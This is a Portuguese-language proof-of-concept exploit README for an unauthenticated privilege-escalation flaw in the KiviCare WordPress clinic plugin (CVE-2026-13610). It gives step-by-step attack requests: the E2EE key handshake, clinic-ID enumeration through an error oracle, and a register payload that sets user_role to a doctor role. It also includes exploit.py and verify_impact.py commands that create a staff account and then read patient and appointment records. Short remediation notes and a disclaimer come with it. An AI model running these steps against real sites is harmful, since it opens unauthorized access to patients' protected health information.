
PoC de exploit para criação não autenticada de contas de médico/recepcionista no plugin KiviCare do WordPress por meio de gerenciamento inadequado de privilégios, fornecendo acesso a PHI em nível de equipe.
CWE-269 (Gerenciamento Impróprio de Privilégios) | Registro não autenticado com função de funcionário escolhida pelo atacante → divulgação de PHI de pacientes
Vulnerabilidade crítica no plugin WordPress KiviCare – Clinic & Patient Management System (versões até 4.5.1 inclusive) que permite que atacantes não autenticados registrem uma conta de médico (kiviCare_doctor) ou recepcionista (kiviCare_receptionist) com senha de própria escolha, associada a uma clínica escolhida pelo atacante.
A vulnerabilidade existe porque o endpoint público de registro recebe o parâmetro user_role diretamente do corpo da requisição, e sua lista de permissões de validação inclui funções de funcionário da clínica:
O endpoint de registro POST /wp-json/kivicare/v1/auth/register
(app/controllers/api/AuthController.php:237–242) é protegido apenas por
checkRegistrationPermission() (:602–650), que:
true imediatamente se users_can_register estiver habilitado (sem verificação de autenticação).KCOption::get() retorna null em instalações padrão.return true no final da função.O handler register() (:1277–1387) então lê user_role do
corpo da requisição, mapeia para os modelos KCDoctor / KCReceptionist e chama
$model->save() — que executa wp_insert_user() e
setRole('kiviCare_doctor') (app/models/KCDoctor.php:136) sem
qualquer verificação de autorização. A conta resultante fica ativa e vinculada
à clínica escolhida pelo atacante.
A criptografia de corpo E2EE do plugin não é uma barreira: os endpoints de handshake
(server-key, config/register-key) são não autenticados
(app/controllers/api/ConfigController.php:190–205), portanto qualquer cliente pode
negociar uma chave de convidado e enviar um payload criptografado.
Análise completa: analysis/TECHNICAL_ANALYSIS.md
1. Handshake (encrypted targets):
POST /wp-json/kivicare/v1/server-key -> server X25519 public key
POST /wp-json/kivicare/v1/config/register-key -> register own public key
(header x_kc_client_id: <anything>, body {"public_key": "<base64>"})
2. Enumerate a valid clinic ID via the validation oracle:
"Invalid clinic selected" -> clinic does not exist
"Username already exists" -> clinic exists
3. Encrypt the payload and send:
POST /wp-json/kivicare/v1/auth/register
body = base64( nonce(24B) || crypto_box(json) )
{
"username": "attacker",
"email": "[email protected]",
"password": "P@ssw0rd-123!",
"first_name": "Att", "last_name": "Acker",
"mobile_number": "+15550133777",
"gender": "male",
"user_role": "kiviCare_doctor", <-- vulnerable parameter
"user_clinic": 1
}
4. HTTP 201 "Registration successful." -> active doctor account created
5. Login via wp-login.php or REST /auth/login -> staff access to patient PHI
git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt
python preflight.py http://target.com
python exploit.py --url http://target.com \
--username attacker --email [email protected] --password 'P@ssw0rd-123!'
O script detecta automaticamente o modo de transporte (JSON simples vs. criptografado via E2EE)
e enumera IDs de clínicas quando --clinic não é fornecido.
python verify_impact.py --url http://target.com \
--username attacker --password 'P@ssw0rd-123!'
Faz login via REST, reassocia a chave de resposta E2EE da conta e então chama
endpoints exclusivos para funcionários (/patients, /appointments).
--url Target base URL (required)
--username Username to create (default: attacker<random>)
--email Email (default: <username>@evil.example)
--password Password (default: Poc!Passw0rd-2026)
--role kiviCare_doctor (default) | kiviCare_receptionist | kiviCare_patient
--clinic Clinic ID (auto-enumerated when omitted)
--mobile Mobile number (default: random +1555...)
--first-name First name (default: Dr)
--last-name Last name (default: Poc)
--gender Gender (default: male)
--no-verify Skip post-creation login verification
A exploração bem-sucedida gera uma conta de funcionário ativa vinculada a uma clínica real, sem exigir autenticação:
wp-admin (read +
upload_files) — uma base para ataques adicionaisO endpoint não permite criar uma conta de administrator no WordPress
(a lista de permissões do user_role a rejeita), mas a função de médico é suficiente para
acesso completo aos dados clínicos.
patient_role_onlycurrent_user_can('create_users') + verificação de noncecheckRegistrationPermission — remover o
return true de fallthroughrecaptchaToken quando o reCAPTCHA estiver habilitado (atualmente opcional)APENAS PARA FINS EDUCACIONAIS E DE TESTE AUTORIZADO.
Esta ferramenta é destinada a pesquisadores de segurança e testadores de penetração com autorização explícita por escrito para testar sistemas-alvo. O acesso não autorizado a sistemas de computador é ilegal. O autor não assume nenhuma responsabilidade pelo uso indevido desta ferramenta. Toda a verificação foi realizada na própria infraestrutura de laboratório do autor.
ghostpels — Pesquisa de Segurança e Desenvolvimento de Exploits
Este projeto está licenciado sob a ghostpels Security Research License.
| Gate | O que faz | Resultado |
|---|
permission_callback | Sem is_user_logged_in(), sem nonce, sem verificação de capacidade | Passa; termina com return true |
user_role whitelist | Aceita kiviCare_doctor, kiviCare_receptionist, kiviCare_patient | Atacante seleciona função de funcionário |
patient_role_only param | Declarado com padrão yes | Nunca lido — parâmetro morto |
| reCAPTCHA | Validado apenas if (isset($params['recaptchaToken'])) | Contornado ao omitir o parâmetro |
| Campo | Valor |
|---|
| CVE ID | CVE-2026-13610 |
| CWE | CWE-269 (Improper Privilege Management) |
| Plugin | KiviCare – Clinic & Patient Management System |
| Afetado | Versões até 4.5.1 inclusive |
| Corrigido | Não confirmado até o momento desta análise |
| Tipo | Criação não autenticada de conta com função de funcionário (escalonamento de privilégios) |
| Pesquisador | Sai Praneeth Koti |
| Publicado | 2026 |